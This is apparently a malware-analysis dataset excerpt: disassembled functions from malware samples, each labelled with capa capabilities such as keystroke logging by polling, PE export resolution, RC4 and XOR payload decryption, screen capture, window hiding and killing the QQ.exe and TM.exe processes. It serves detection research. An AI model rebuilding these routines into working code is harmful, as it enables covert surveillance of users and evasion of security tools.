joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100017e5
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x68
xor eax, eax
lea ecx, [esp + 0x58]
lea edx, [esp + 0x60]
mov dword [esp + 0x54], ecx
mov dword [esp + 0x50], edx
mov dword [esp + 0x4c], eax
jmp 0x100018f9
mov eax, esp
mov dword [eax], 0x1d494c
mov eax, dword [sym.imp.ole32.dll_RevokeDragDrop]
call eax
sub esp, 4
mov ecx, esp
mov dword [ecx], 0x2f
mov ecx, dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov dword [esp + 0x48], eax
call ecx
sub esp, 4
mov word [esp + 0x46], ax
mov eax, dword [sym.imp.USER32.dll_GetFocus]
call eax
mov dword [esp + 0x64], 0x36
mov dword [esp + 0x40], eax
mov eax, esp
lea ecx, [esp + 0x64]
mov dword [eax + 0x10], ecx
mov ecx, dword [esp + 0x50]
mov edx, dword [ecx]
mov dword [eax + 0xc], edx
mov dword [eax + 8], 0xeea
mov dword [eax + 4], 0x58
mov dword [eax], 0xeed368
mov eax, dword [sym.imp.KERNEL32.dll_FillConsoleOutputCharacterW]
call eax
sub esp, 0x14
mov dword [esp + 0x3c], eax
jmp 0x10001955
mov eax, dword [esp + 0x38]
inc eax
mov dword [esp + 0x5c], 0
mov dword [esp + 0x58], 0
mov ecx, esp
mov edx, dword [esp + 0x54]
mov dword [ecx], edx
mov ecx, dword [sym.imp.ADVAPI32.dll_FreeEncryptionCertificateHashList]
mov dword [esp + 0x34], eax
call ecx
sub esp, 4
mov eax, esp
mov dword [eax + 4], 0xeaa
mov dword [eax], 0x3ef00c
mov eax, dword [sym.imp.GDI32.dll_SetTextAlign]
call eax
sub esp, 8
mov ecx, esp
mov dword [ecx], 0x3011e7
mov ecx, dword [sym.imp.GDI32.dll_WidenPath]
mov dword [esp + 0x30], eax
call ecx
sub esp, 4
mov ecx, dword [esp + 0x34]
cmp ecx, 0xa
mov dword [esp + 0x2c], eax
mov dword [esp + 0x38], ecx
je 0x10001955
jmp 0x10001883
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x4c]
xor ecx, ecx
mov edx, esp
mov dword [edx], 0x2e5433
mov edx, dword [sym.imp.SHLWAPI.dll_SHRegDuplicateHKey]
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], ecx
call edx
sub esp, 4
xor ecx, ecx
mov edx, dword [esp + 0x28]
sub edx, 0xa
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], edx
je 0x10001837
jmp 0x10001937
mov eax, dword [esp + 0x28]
sub eax, 0x29
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0x14], eax
mov dword [esp + 0x38], ecx
je 0x10001809
jmp 0x10001883
mov eax, dword [esp + 0x28]
add eax, 1
cmp eax, 0x6e
mov dword [esp + 0x4c], eax
je 0x100018f5
jmp 0x100018f9
Function at 0x10003ece
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x88
lea eax, [esp + 0x20]
lea ecx, [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 0x1c], ecx
call fcn.10004feb
lea ecx, [0x10003fd7]
mov edx, dword [esp + 0x20]
mov dword [esp + 0x30], edx
mov dword [esp + 0x5c], 0x136800
mov dword [0x102a2d9c], 0x882
mov edx, dword [0x102a2d88]
mov dword [esp + 0x40], edx
mov edx, dword [0x102a2d8c]
mov dword [esp + 0x6c], edx
mov edx, dword [0x102a2d90]
mov dword [esp + 0x7c], edx
mov edx, dword [0x102a2d94]
mov dword [esp + 0x58], edx
mov edx, dword [0x102a2d98]
mov dword [esp + 0x84], edx
mov dword [esp + 0x18], eax
mov dword [esp + 0x14], ecx
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x10], eax
jne 0x10003fb6
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0xc], ecx
jne 0x10003fb6
mov eax, dword [esp + 0x10]
mov dword [esp + 0x50], eax
mov ecx, dword [esp + 0xc]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x78], edx
lea eax, [esp + 0x30]
mov ecx, dword [esp + 0x28]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.10004e89
mov ecx, esp
lea edx, [esp + 0x30]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 2
mov dword [0x102a2d9c], 0x26d9
mov esp, ebp
pop ebp
ret
mov eax, dword [esp + 0x10]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [0x102a2d9c], 0x1759
mov dword [esp + 0x14], eax
jmp 0x10003f4b
Function at 0x100045fe
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x102a2da8], 0
mov byte [0x102a2dac], 0
mov dword [0x102a2d9c], 0x1df0
mov dword [0x102a2da4], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x10004656
xor eax, eax
mov dword [0x102a2da4], 0
mov dword [ebp - 0x20], eax
jmp 0x1000467e
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x102a2da4]
add eax, 1
mov dword [0x102a2da4], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x10004656
jmp 0x10004645
mov eax, dword [ebp - 0x20]
mov ecx, 0x100
mov edx, dword [0x102a2da8]
mov esi, dword [ebp - 0x18]
movzx edi, byte [esi + eax]
add edi, edx
mov dword [ebp - 0x24], eax
xor edx, edx
mov ebx, dword [ebp - 0x10]
div ebx
mov esi, dword [ebp - 0x14]
movzx edx, byte [esi + edx]
add edi, edx
mov eax, edi
cdq
idiv ecx
mov dword [0x102a2da8], edx
mov ecx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x24]
mov cl, byte [ecx + edi]
mov byte [0x102a2dac], cl
mov ecx, dword [ebp - 0x18]
mov cl, byte [ecx + edx]
mov edx, dword [ebp - 0x18]
mov byte [edx + edi], cl
mov cl, byte [0x102a2dac]
mov edx, dword [0x102a2da8]
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], cl
mov edx, dword [0x102a2da4]
add edx, 1
mov dword [0x102a2da4], edx
cmp edx, 0x100
mov dword [ebp - 0x20], edx
jl 0x1000467e
mov eax, dword [0x102a2d9c]
add eax, 0x166c
mov dword [0x102a2d9c], eax
add esp, 0x18
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10004721
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x30
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x102a2da4], 0
mov dword [0x102a2da8], 0
mov dword [0x102a2db0], 0
mov dword [0x102a2da0], 0xf3e
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
jne 0x10004788
add esp, 0x30
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
add ecx, 1
mov dword [ebp - 0x2c], eax
mov eax, ecx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x102a2da4], edx
mov ecx, dword [ebp - 0x20]
movzx edi, byte [ecx + edx]
mov ebx, dword [ebp - 0x30]
add edi, ebx
mov eax, edi
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x102a2da8], edx
mov dword [0x102a2d9c], 0x24e2
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x102a2dac], cl
mov edi, dword [ebp - 0x20]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov cl, byte [0x102a2dac]
mov edx, dword [0x102a2da8]
mov byte [edi + edx], cl
mov dword [0x102a2d9c], 0xb03
mov edx, dword [0x102a2da4]
movzx edx, byte [edi + edx]
mov ebx, dword [0x102a2da8]
movzx ebx, byte [edi + ebx]
add ebx, edx
and ebx, 0xff
mov dword [0x102a2db0], ebx
mov dword [0x102a2d9c], 0x8a0
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x2c]
mov cl, byte [edx + ecx]
xor cl, byte [edi + ebx]
mov ebx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x2c]
mov byte [ebx + edx], cl
add edx, 1
mov ecx, dword [ebp - 0x10]
cmp edx, ecx
mov dword [ebp - 0x38], edx
je 0x10004780
mov eax, dword [0x102a2da4]
mov dword [ebp - 0x3c], eax
mov eax, dword [0x102a2da8]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x28], edx
jmp 0x10004788
Function at 0x100049b9
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x58
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.10004875
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov esi, dword [eax + esi]
cmp esi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
je 0x100049f5
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov dword [0x102a2da0], 0x13cf
mov eax, dword [eax + 0x78]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov esi, dword [edx + eax + 0x18]
cmp esi, 0
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
je 0x10004b2a
jmp 0x10004a5c
mov al, byte [ebp - 0x31]
test al, 1
jne 0x10004b07
jmp 0x10004ad2
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x3c]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + ecx*4]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x4c], edx
jmp 0x10004a70
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], ecx
jmp 0x10004a40
mov eax, dword [ebp - 0x4c]
mov ecx, eax
mov edx, dword [ebp - 0x48]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x50], eax
mov byte [ebp - 0x51], bh
mov byte [ebp - 0x31], cl
je 0x10004a30
mov eax, dword [ebp - 0x50]
add eax, 1
mov cl, byte [ebp - 0x51]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x31]
and ch, dl
mov dword [ebp - 0x58], eax
mov byte [ebp - 0x59], ch
mov eax, dword [ebp - 0x58]
cmp eax, 0x20
setb cl
mov dl, byte [ebp - 0x59]
and dl, cl
test dl, 1
mov dword [ebp - 0x4c], eax
jne 0x10004a70
jmp 0x10004a30
mov eax, dword [ebp - 0x40]
add eax, 2
mov ecx, dword [ebp - 0x44]
add ecx, 1
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x64], ecx
xor eax, eax
mov ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0x2c]
cmp ecx, edx
mov esi, dword [ebp - 0x60]
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x30], eax
jb 0x10004a40
jmp 0x10004b2a
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
mov dword [0x102a2da0], 0xa93
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov edi, dword [ebp - 0x1c]
add edi, dword [edx + ecx*4]
mov dword [ebp - 0x30], edi
mov eax, dword [ebp - 0x30]
add esp, 0x58
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10004e89
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], edx
jmp 0x10004f31
mov eax, dword [ebp - 0x30]
mov dword [0x102a2d9c], 0xe80
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x24]
mov dword [esp + 4], ecx
mov dword [ebp - 0x34], eax
call fcn.10004313
mov eax, dword [ebp - 0x34]
mov word [eax], 0x5a4d
mov dword [eax + 0x3c], 0xd0
mov dword [eax + 0xd0], 0x4550
xor eax, eax
mov ecx, dword [ebp - 0x34]
add ecx, 0xffc00000
mov edx, dword [ebp - 0x28]
mov dword [edx + 0xc], ecx
mov dword [0x102a2d9c], 0x162c
mov ecx, dword [ebp - 0x34]
mov dword [edx + 0x44], ecx
cmp ecx, 0
mov dword [ebp - 0x38], eax
je 0x10004fb6
jmp 0x10004fa1
mov eax, dword [ebp - 0x2c]
mov cl, byte [eax + 0x100064de]
mov dl, byte [eax + 0x100064af]
sub dl, cl
mov byte [ebp + eax - 0x20], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x2c], eax
jne 0x10004f31
lea eax, [ebp - 0x20]
mov dword [0x102a2d9c], 0xe5c
mov dword [ebp - 0x3c], eax
call fcn.10004c65
mov dword [esp], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], eax
call fcn.10004d43
xor ecx, ecx
mov edx, dword [0x102a2d9c]
add edx, 0xffffef22
mov dword [0x102a2d9c], edx
cmp eax, 0
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x38], ecx
je 0x10004fb6
jmp 0x10004ea5
mov eax, dword [ebp - 0x34]
add eax, 0x1000
mov dword [0x102a2d9c], 0x1bc7
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
add esp, 0x4c
pop ebp
ret
Function at 0x10004feb
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x168
mov eax, dword [ebp + 8]
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x134], edx
mov dword [ebp - 0x138], ecx
mov eax, dword [ebp - 0x138]
mov ecx, dword [ebp - 0x134]
xor edx, edx
lea esi, [0x1026d888]
mov edi, ecx
shl edi, 8
mov ebx, esi
add ebx, edi
add ebx, 0x48
mov edi, ecx
shl edi, 8
add esi, edi
add esi, 4
add ecx, 1
mov edi, dword [ebx]
movzx esi, word [esi]
xor esi, edi
add esi, eax
cmp ecx, 0x355
mov eax, esi
mov dword [ebp - 0x13c], esi
mov dword [ebp - 0x138], eax
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x140], edx
jne 0x10005010
mov eax, dword [ebp - 0x140]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x100064de]
mov dh, byte [eax + 0x100064af]
sub dh, dl
mov byte [ebp + eax - 0x12c], dh
cmp ecx, 0xe
mov dword [ebp - 0x140], ecx
jne 0x10005071
lea eax, [ebp - 0x12c]
mov dword [0x102a2d9c], 0xe5c
mov dword [ebp - 0x144], eax
mov dword [0x102a2da0], 0xfffff68a
call fcn.10004c65
mov dword [esp], eax
mov eax, dword [ebp - 0x144]
mov dword [esp + 4], eax
call fcn.10004d43
mov ecx, eax
mov dword [0x102a2db4], eax
mov eax, esp
mov edx, dword [ebp - 0x13c]
mov dword [eax + 4], edx
mov dword [eax + 0xc], 4
mov dword [eax + 8], 0x1000
mov dword [eax], 0
call ecx
sub esp, 0x10
xor ecx, ecx
mov edx, ecx
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x14c], edx
mov dword [ebp - 0x150], ecx
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x14c]
lea edx, [0x1026d888]
mov esi, eax
shl esi, 8
mov edi, edx
add edi, esi
add edi, 4
mov esi, eax
shl esi, 8
mov ebx, edx
add ebx, esi
add ebx, 0x48
mov esi, eax
shl esi, 8
add edx, esi
mov esi, dword [ebp - 0x148]
add esi, ecx
add eax, 1
mov ebx, dword [ebx]
mov edx, dword [edx]
movzx edi, word [edi]
xor edi, ebx
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], edi
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x158], ecx
mov dword [ebp - 0x15c], edi
call fcn.10004534
mov eax, dword [ebp - 0x15c]
mov ecx, dword [ebp - 0x158]
add eax, ecx
mov edx, dword [ebp - 0x154]
cmp edx, 0x355
mov dword [ebp - 0x150], edx
mov dword [ebp - 0x14c], eax
jne 0x1000511c
lea eax, [0x100064bd]
mov ecx, 0x20
lea edx, [ebp - 0x10c]
mov dword [0x102a2d9c], 0x24f0
mov dword [0x102a2da0], 0x200e
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x20
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x164], ecx
call fcn.100045fe
mov dword [0x102a2d9c], 0x23d4
mov eax, dword [ebp - 0x160]
mov dword [esp], eax
mov ecx, dword [ebp - 0x148]
mov dword [esp + 4], ecx
mov dword [esp + 8], ecx
mov edx, dword [ebp - 0x13c]
mov dword [esp + 0xc], edx
call fcn.10004721
xor eax, eax
mov ecx, dword [0x102a2d9c]
add ecx, 0x171f
mov dword [0x102a2da0], ecx
mov ecx, dword [ebp - 0x148]
add ecx, 0x12550e
mov edx, dword [ebp - 0x130]
mov dword [edx], ecx
mov dword [edx + 4], 0x136800
mov ecx, dword [ebp - 0x148]
add ecx, 0xfbb09
mov dword [edx + 8], ecx
mov dword [edx + 0xc], 0x1ff0
mov ecx, dword [0x102a2da0]
add ecx, 0x550
mov dword [0x102a2d9c], ecx
add esp, 0x168
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x401b10
Capabilities:
Capture screenshot

Disassembly:
sub esp, 8
push ebp
mov ebp, dword [esp + 0x14]
push ebp
call dword [sym.imp.USER32.dll_IsRectEmpty]
test eax, eax
je 0x401b2a
xor eax, eax
pop ebp
add esp, 8
ret
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push edi
push 0
call esi
push 1
mov dword [esp + 0x14], eax
call esi
push 0
push 0
push 0
push str.DISPLAY
mov dword [esp + 0x24], eax
call dword [sym.imp.GDI32.dll_CreateDCA]
mov edi, eax
push edi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov ebx, dword [ebp]
mov edx, dword [ebp + 4]
mov ecx, dword [ebp + 8]
mov esi, eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x20], edx
test ebx, ebx
jge 0x401b75
xor ebx, ebx
test edx, edx
jge 0x401b85
mov dword [esp + 0x20], 0
mov edx, dword [esp + 0x20]
mov ebp, dword [esp + 0x10]
cmp ecx, ebp
jle 0x401b8f
mov ecx, ebp
mov ebp, dword [esp + 0x14]
cmp eax, ebp
jle 0x401b99
mov eax, ebp
sub ecx, ebx
sub eax, edx
mov ebp, ecx
push eax
push ebp
push edi
mov dword [esp + 0x20], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push eax
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x20]
push 0xcc0020
push eax
push ebx
push edi
push ecx
push ebp
push 0
push 0
push esi
call dword [sym.imp.GDI32.dll_BitBlt]
mov edx, dword [esp + 0x10]
push edx
push esi
call dword [sym.imp.GDI32.dll_SelectObject]
push edi
mov edi, dword [sym.imp.GDI32.dll_DeleteDC]
mov ebx, eax
call edi
push esi
call edi
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
add esp, 8
ret
Function at 0x403230
Capabilities:
Check if file exists
Get common file path

Disassembly:
mov al, byte [0x413b38]
sub esp, 0xc0
test al, al
jne 0x403339
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x10]
push 0x96
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, 0x40dde8
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, dword [esp + 0xd4]
and ecx, 3
lea edx, [esp + 0x10]
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x10]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x403328
mov edi, dword [esp + 0xd8]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x10]
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x5c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x14]
push ecx
call fcn.00406be0
mov byte [eax + 1], 0
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 8
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [esp + 0x10]
push eax
call fcn.00402f20
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc0
ret
Function at 0x403ce0
Capabilities:
Get graphical window text
Hide graphical window

Disassembly:
mov eax, dword [0x413c48]
push ebp
mov ebp, 1
cmp eax, ebp
je 0x403e00
mov eax, dword [0x413b30]
push esi
mov esi, dword [sym.imp.USER32.dll_SendMessageA]
cmp eax, ebp
push edi
mov dword [0x413c48], ebp
jne 0x403d1e
mov eax, dword [0x413700]
push 0x413718
push 0x104
push 0xd
push eax
call esi
mov dword [0x40d034], 0
call fcn.00403a50
mov ecx, dword [0x4136f8]
push 0x413718
push 0x20
push 0xd
push ecx
call esi
mov edx, dword [0x413714]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1e
call esi
mov eax, dword [0x413688]
mov edi, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push eax
call edi
mov ecx, dword [0x413688]
push 0x80
push 0
push 0
push 0
push 0
push ebp
push ecx
call dword [sym.imp.USER32.dll_SetWindowPos]
mov edx, dword [0x413688]
push edx
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0x1e
call esi
mov eax, dword [0x413708]
push 4
push 4
push eax
call fcn.00403740
add esp, 0xc
push 0x1e
call esi
push 0x41368c
call fcn.00403860
add esp, 4
push 5
call esi
push 0
call fcn.00403720
mov esi, dword [esp + 0x14]
add esp, 4
test esi, esi
jne 0x403dd5
mov ecx, dword [0x413680]
push esi
push ecx
call edi
push 0
push 0
push esi
push 0x403aa0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
mov dword [0x412048], eax
mov dword [0x413c48], 0
mov dword [0x40d034], ebp
pop esi
pop ebp
ret

Function at 0x4041e0
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x104
lea eax, [esp]
push ebx
push esi
push edi
mov edi, dword [esp + 0x114]
push 0x104
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov esi, dword [esp + 0x11c]
lea eax, [esp + 0xc]
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x404234
test cl, cl
je 0x404230
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x404234
add eax, 2
add esi, 2
test cl, cl
jne 0x40420c
xor eax, eax
jmp 0x404239
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4042d8
push 0xfffffffffffffff0
push edi
call dword [sym.imp.USER32.dll_GetWindowLongA]
cmp eax, dword [esp + 0x118]
jne 0x404269
mov eax, edi
pop edi
pop esi
mov dword [0x413b24], 0
pop ebx
add esp, 0x104
ret
mov ecx, dword [esp + 0x120]
test ecx, ecx
je 0x40428e
cmp eax, ecx
jne 0x40428e
mov eax, edi
pop edi
pop esi
mov dword [0x413b24], 1
pop ebx
add esp, 0x104
ret
mov ecx, dword [esp + 0x124]
test ecx, ecx
je 0x4042b3
cmp eax, ecx
jne 0x4042b3
mov eax, edi
pop edi
pop esi
mov dword [0x413b24], 1
pop ebx
add esp, 0x104
ret
mov ecx, dword [esp + 0x128]
test ecx, ecx
je 0x4042d8
cmp eax, ecx
jne 0x4042d8
mov eax, edi
pop edi
pop esi
mov dword [0x413b24], 1
pop ebx
add esp, 0x104
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x104
ret
Function at 0x405c40
Capabilities:
Enumerate processes
Terminate process

Disassembly:
sub esp, 0x12c
push esi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 4], esi
je 0x405cf7
lea eax, [esp + 8]
push ebx
push eax
push esi
mov dword [esp + 0x14], 0x128
call sub.KERNEL32.dll_Process32First
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x405cf3
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [esp + 0x1c]
push ecx
push 0
push 0x1f0fff
call edi
lea edx, [esp + 0x38]
push str.QQ.exe
push edx
mov esi, eax
call fcn.00406800
add esp, 8
test eax, eax
jne 0x405cc7
lea eax, [esp + 0x38]
push str.TM.exe
push eax
call fcn.00406800
add esp, 8
test eax, eax
je 0x405cd3
push 0
push esi
call ebp
test esi, esi
je 0x405cda
push esi
call ebx
test esi, esi
je 0x405cda
push esi
call ebx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push ecx
push edx
call fcn.004067a0
test eax, eax
jne 0x405c8b
mov esi, dword [esp + 0x10]
pop edi
pop ebp
push esi
call ebx
pop ebx
pop esi
add esp, 0x12c
ret